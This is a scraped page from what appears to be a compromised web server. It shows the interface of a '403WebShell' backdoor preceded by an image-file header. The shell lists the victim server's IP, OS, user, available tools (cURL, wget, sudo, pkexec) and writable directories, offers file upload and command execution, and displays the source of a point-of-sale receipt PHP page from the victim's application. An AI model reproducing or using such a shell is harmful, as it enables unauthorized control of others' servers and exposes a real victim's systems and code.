����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.139.86.227
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/onesell-view.php
<?php
$payment = PaymentData::getById($_POST["id_sales"]);

$client = PersonData::getIdContract($payment->person_id);
$total = 0;

								$settings2 = ConfigurationData::getById1();
								$settingsEmisor = ConfigurationData::getByIdEmisor();
								$settingsCalle = ConfigurationData::getByIdCalle();
								$settingsInt = ConfigurationData::getByIdInt();
								$settingsExt = ConfigurationData::getByIdExt();
								$settingsColonia = ConfigurationData::getByIdColonia();
								$settingsCity = ConfigurationData::getByIdCity();
								$settingsCP = ConfigurationData::getByIdCp();
								$settingsRFC = ConfigurationData::getByPreffix("rfc_val")->val;//
							    $logo = ConfigurationData::getByPreffix("report_image")->val;//
								 $ruta_logo = "../../pos11/storage/configuration/$logo";
?>


	<div class="btn-group pull-right">
					  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket Abono<span class="caret"></span>
					  </button>
		 <ul class="dropdown-menu" role="menu">
				<li><a onclick="thePDF()" id="makepdf" class=""><i class="fa fa-download"></i> Descargar PDF</a>
			<button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i>Generar Factura</button>
		</ul>
	</div>
	
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
        <script type="text/javascript">
            function imprimir() {
                if (window.print) {
                    window.print();
                } else {
                    alert("La función de impresion no esta soportada por su navegador.");
                }
            }
        </script>
    </head>
    <body onload="imprimir();">	
	<br>
	<br>
	<br>
	<div class="row">
			<div class="col-md-4">
				<div class="box box-primary">
										<table class="table table-bordered">
												<tr>
													<td  colspan="6" align="center"><img src="storage/configuration/logo_victoria.png" width="120" height="120"></td>
												</tr>
												<tr>
												<td  colspan="6" align="center"><?php echo $settings2->val;?></td>
													
												</tr>
												<tr>
													<td colspan="2" align="center">
														<?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?>
													</td>
													<td colspan="2" align="center">
														<b>Fecha Abono:</b> 
													</td>
													<td align="center">
														<?php echo $payment->created_at;?>
													</td>
													
												</tr> 
												<tr>
													<td colspan="2" align="center">
															RFC:
													
													
														<?php echo $settingsRFC;?>
													</td>
													<td colspan="2" align="center" >
														<b> Cobrado por: </b>
													</td>
													<td colspan="2" align="center">		
														<?php  echo UserData::getById($_SESSION["user_id"])->name.' '.UserData::getById($_SESSION["user_id"])->lastname;?>
													</td>
												</tr> 
												

										</table>
				</div>  
			</div>
	</div>
	<?php
		//obtenemos el total de la  venta y el enganche
		$venta = SellData::getByIdSaleClient($client->contract);										
		//print_r($venta->sale_id);	
	?>
											
		
	<div class="row">
		<div class="col-md-4">
			<div class="box box-primary">
				<table class="table table-bordered">
					
				<tr>
				  <td style="width:50px;" colspan="2">
					<b>Cliente:</b></td>
					<td colspan="5">
					<?php echo $client->name;?>
					</td>
				</tr>
				<tr>
				  <td style="width:50px;" colspan="2"><b>Direccion:</b></td>
				  <td colspan="5" >
					<?php echo $client->direccion;?> 
				  </td>
				</tr>
				
	
	<?php 
	$operations = OperationData::getAllProductsBySellId($venta->sale_id);
	
	//print_r($operations[0]);
	?>
		<tr>
			<th colspan="1" style="width:10px;">Mercancia</th>
		<?php foreach($operations as $operation){
			//print_r($operation);
			?>
			
			<td colspan="4" align="left"><?php echo $operation->qty; ?> - <?php echo $operation->item_name ;?></td>
			<td  colspan="1">
				Contrato:
			</td>
			<td colspan="1">
				<?php echo $payment->person_id;?>
			</td>
		</tr>
		<?php } ?>
		
	     </table>
		</div>
		</div>
	</div>
	
	
	<?php 
	//$credit=PaymentData::sumByClientId($payment->person_id)->total;
	$credit = PaymentData::sumByClientId2($client->contract)->total;
	$abonos = PaymentData::sumByClientId($client->contract)->total;
	
	
 $sell = $venta->total;
	$totalDeuda= 0;
	$i=0;
	
	 $dateF = PaymentData::ClientPayByContractEfe($client->contract);
		  //
	if(isset($dateF)){
			$dateF->created_at;
	}else{
				//pago programado PAGADO
				 $dateFP = PaymentData::ClientPayByContProgPagado($client->contract);
				 
				//si existe
				if(isset($dateFP)){
					
				$totalDeuda = $sell - $dateFP->val;
				//si no existe
			}else{
				$totalDeuda = $sell;
			}
			
	}
	
   $users = PaymentData::getAllByClientId2($client->contract);
	foreach($users as $user){
		  $totalDeuda +=$user->val;
		// echo $i++;	
	}
	
	
	?>
	
	
	
	<div class="row">
		<div class="col-md-4">
			<div class="box box-primary">
				<table class="table table-bordered">
				  <tr>
					<td style="width:150px;" title="si el ultimo abono fuera de <?php echo number_format(abs($payment->val),2,'.',','); ?>"><b>Saldo anterior</b></td>
				    <td><u> $ <?php echo number_format($totalDeuda + abs($payment->val),2,'.',','); ?></u></td>
					<td style="width:150px;"><b>Monto Recibido<b></td>
					<td style="width:150px;"><u>$ <?php echo number_format(abs($payment->val),2);?></u></td>
				  </tr>
				  <tr>
					<td style="width:150px;"> <b>Saldo Actual<b> </td>
					 <td><u>$  <?php echo number_format($totalDeuda-abs($payment->val),2,'.',','); ?></u></td>
				  </tr>
				  
				  
			    </table>
			</div>
		</div>
	</div>
	
	<div class="row">
		<div class="col-md-4">
			<div class="box box-primary">
				<table class="table table-bordered">
				  <tr>
					
					 <th>¡De su pago puntual, evite pagar intereses moratorios!</th>
				  </tr>
				  
			    </table>
			</div>
		</div>
	</div>
  <br>
  <br>
  <br>
  <br>
  <br>
  <br>
	</body>
	

<script language="JavaScript">

function cerrar() {
var ventana = window.self;
ventana.opener = window.self;
ventana.close();
}
setTimeout('cerrar()',2000); //5000 = 5 segundos.
</script>

	

Youez - 2016 - github.com/yon3zu
LinuXploit